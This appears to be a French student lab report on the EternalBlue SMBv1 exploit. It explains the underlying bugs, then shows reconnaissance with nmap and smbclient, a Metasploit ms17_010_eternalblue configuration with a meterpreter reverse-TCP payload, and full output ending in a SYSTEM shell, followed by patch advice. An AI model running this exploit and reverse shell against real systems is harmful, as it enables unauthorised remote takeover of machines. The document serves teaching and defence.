---
authors:
- Victor Blanchard (e2100553)
- Matthieu Breuil (e2102555)
---
<style>
body {
text-align: justify
}
</style>
# Attaque et remédiation : **EternalBlue**
## Introduction
Dans ce rapport, nous allons comprendre puis utiliser un exploit bien connu : **EternalBlue**. EternalBlue est un exploit développé par la NSA et dévoilé en avril 2017. Il s'en prend à une vulnérabilité dans le protocole SMBv1, patchée suite au bulletin `MS17-010 - Critique` et repertorié dans la `CVE-2017-0144`. On peut noter son utilisation dans plusieurs campagnes d'attaques connues telles que :
- WannaCry : Un ransonware
- Adylkuzz : Un cryptominer de Monero
- NotPetya : Un autre ransonware qui peut agir en mode destruction de données
Cette attaque permet à un attaquant de se connecter à distance sur une machine victime (RCE).
## Fonctionnement
L'exploit se base sur un mauvais parsing des paquets réseaux par l'implémentation logicielle SMBv1. Un attaquant peut concevoir un paquet tel qu'il éxecute du code sur le serveur SMB. De plus, la version 1 de SMB accepte par défaut un utilisateur anonyme, qui peut exécuter des commandes SMB restreintes. Ainsi, cet exploit est utilisable sans privilèges préalables. Cette RCE est rendue possible grâce à 3 bugs.
### Bug 1 : Mauvaise conversion de type
Lors de la réception d'un paquet, les attributs de fichiers sont encapsulés dans une première structure `Os2Fea`, et collectionés dans une liste `Os2FeaList` puis castés dans une liste chainée `NtFeaList`.
```c
struct Os2Fea {
UCHAR ExtendedAttributeFlag;
UCHAR AttributeNameLengthInBytes;
USHORT AttributeValueLengthInBytes;
UCHAR AttributeName[AttributeNameLengthInBytes+1];
UCHAR AttributeValue[AttributeValueLengthInBytes];
}
struct Os2FeaList {
ULONG SizeOfListInBytes;
UCHAR Os2FeaRecords[SizeOfListInBytes-4];
}
struct NtFeaList {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR NtFeaNameLength;
USHORT NtFeaValueLength;
CHAR NtFeaName[NtFeaNameLength];
CHAR NtFeaValue[NtFeaValueLength];
}
```
Ainsi, voici le flux qui va permettre le mauvais cast :
```mermaid
flowchart TD
p(["Packet SMB"])
--> c1["Conversion en<br>Os2FeaList"]
-->|"Mauvais cast"| c2["Conversion en<br>NtFeaList"]
--> d(["Dépassement de mémoire"])
```
Ce qui rend ce cast faillible, c'est le cast de la `SizeOfListInBytes` dans la structure `Os2FeaList` d'un ULONG en UINT. Ainsi, sur une machine 32 bits, on caste 32 bits en 16 bits, en laissant les 16 bits de poids forts de la taille à leur valeur. La `NtFeaList` sera donc plus longue que la taille indiquée dans le champ décrivant sa densité : permettant ainsi une écriture arbitraire de données.
### Bug 2 : Erreur de parsing
Le bug A peut-être provoqué par une suite de commandes SMB faillible. En effet, dans la commande `SMB_COM_NT_TRANSACT` qui permet le transfert de larges blocs de données, la taille est justement codée sur 32 bits et le mauvais cast du bug A s'applique à cette taille : menant donc à une écriture arbitraire de données.
### Bug 3 : Allocation dans une zone non paginée
Le dernier bug permet d'utiliser les deux premiers pour aller écrire dans une zone de données qui sera immédiatement libérée (free) après écriture : menant ainsi à une faille de type Use-After-Free dès que cette zone sera réallouée (malloc, calloc, ...). Ainsi en alliant les 3 bugs, nous pouvons créér un paquet tel qu'il va allouer une structure permettant l'authentification sur la machine distante, avec les droits administrateurs.
## Application
Pour l'application de cette vulnérabilité, nous utilisons une machine qui a été conçue pour servir de preuve de concept (PoC) à cette attaque. Pour pouvoir nous y retrouver, nous appellerons notre ``victim.win``. Notez que ce nom (d'hôte) est directement relié à son adresse IP dans notre exemple.
### Analyse de la machine
#### Reconnaissance
Dans un premier temps, il nous faut faire une analyse des services ouverts sur la machine. Cela nous permettra de savoir si les services nécessaires à notre attaque sont accessibles. Dans notre cas, nous utiliserons l'outil d'analyse de ports ``nmap`` :
```bash
└─$ nmap victim.win -T4 -sV -sC -p-500
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-03 17:12 CEST
Nmap scan report for victim.win (10.10.223.81)
Host is up (0.084s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
Parmi ces trois ports, deux ports nous intéressent. Le port TCP 139 et le port TCP 445. En effet, ces deux ports correspondent au service SMB. Afin de savoir si l'attaque peut être effectuée, il nous faut connaître la version du SMB distant. Pour ce faire, une simple tentative de connexion sur un SMBv1 suffit.
En effet, SMBv1 va par défaut accepter les connexions anonymes. Nous obtenons, grâce à l'outil ``smbclient`` :
```bash
└─$ smbclient -L //victim.win/
Password for [WORKGROUP\user]:
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to victim.win failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```
L'erreur est due au fait qu'aucune ressource n'a été demandée.
Mais peu importe, nous savons maintenant que nous avons un SMB de ``version 1`` face à nous.
Il a donc de grandes chances que notre machine victime soit **vulnérable**.
#### Exploitation
Afin d'exploitation la vulnérabilité à l'aide de l'attaque ``eternal_blue``, nous allons utiliser un outil qui automatise une majorité des attaques connues : ``metasploit``. Dans notre cas le script qui nous intéressera est : ``MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption`` accessible par metasploit via le module ``exploit/windows/smb/ms17_010_eternalblue``.
Avant de lancer l'attaque, il nous faut configurer le payload qui sera envoyé sur la machine victime afin de servir de reverse shell. Pour cela nous configurons notre module de la façon suivante :
```
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS victim.win yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 445 yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST tun0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
```
Notez que ``tun0`` correspond à l'adresse IP de l'interface réseau de notre machine attaquante. Nous lançons l'exploit en tapant ``run``.
Nous obtenons :
```
[*] Started reverse TCP handler on machine.atk:4444
[*] victim.win:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] victim.win:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] victim.win:445 - Scanned 1 of 1 hosts (100% complete)
[+] victim.win:445 - The target is vulnerable.
[*] victim.win:445 - Connecting to target for exploitation.
[+] victim.win:445 - Connection established for exploitation.
[+] victim.win:445 - Target OS selected valid for OS indicated by SMB reply
[*] victim.win:445 - CORE raw buffer dump (42 bytes)
[*] victim.win:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] victim.win:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] victim.win:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] victim.win:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] victim.win:445 - Trying exploit with 12 Groom Allocations.
[*] victim.win:445 - Sending all but last fragment of exploit packet
[*] victim.win:445 - Starting non-paged pool grooming
[+] victim.win:445 - Sending SMBv2 buffers
[+] victim.win:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] victim.win:445 - Sending final SMBv2 buffers.
[*] victim.win:445 - Sending last fragment of exploit packet!
[*] victim.win:445 - Receiving response from exploit packet
[+] victim.win:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] victim.win:445 - Sending egg to corrupted connection.
[*] victim.win:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to victim.win
[*] Meterpreter session 1 opened (machine.atk:4444 -> victim.win:49216) at 2022-10-03 17:39:05 +0200
[+] victim.win:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] victim.win:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] victim.win:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter > whoami
NT AUTHORITY\SYSTEM
```
Nous obtenons un **shell** sur la machine avec les droits du services au moment de son exécution. Notez que le service est par défaut lancé par un équivalent d'administrateur mais ne donne pas tous les droits (car pas nécessaires). Nous pourrions chercher à obtenir ces droits, mais pour cela nous sortons du "scope" de l'attaque que nous souhaitons présenter. Le but de cette application est de montrer qu'il est possible grâce à l'exploit EternalBlue de pouvoir nous connecter à distance sur une machine (RCE) afin de pouvoir y exécuter des commandes ; chose effectuée avec succès.
## Correction
Afin de corriger cette vulnérabilité, le support de Microsoft recommande aux utilisateurs d'installer le patch de sécurité MS17-010 et d'éviter au maximum de prendre des versions SMB obsolètes (telles que SMBv1).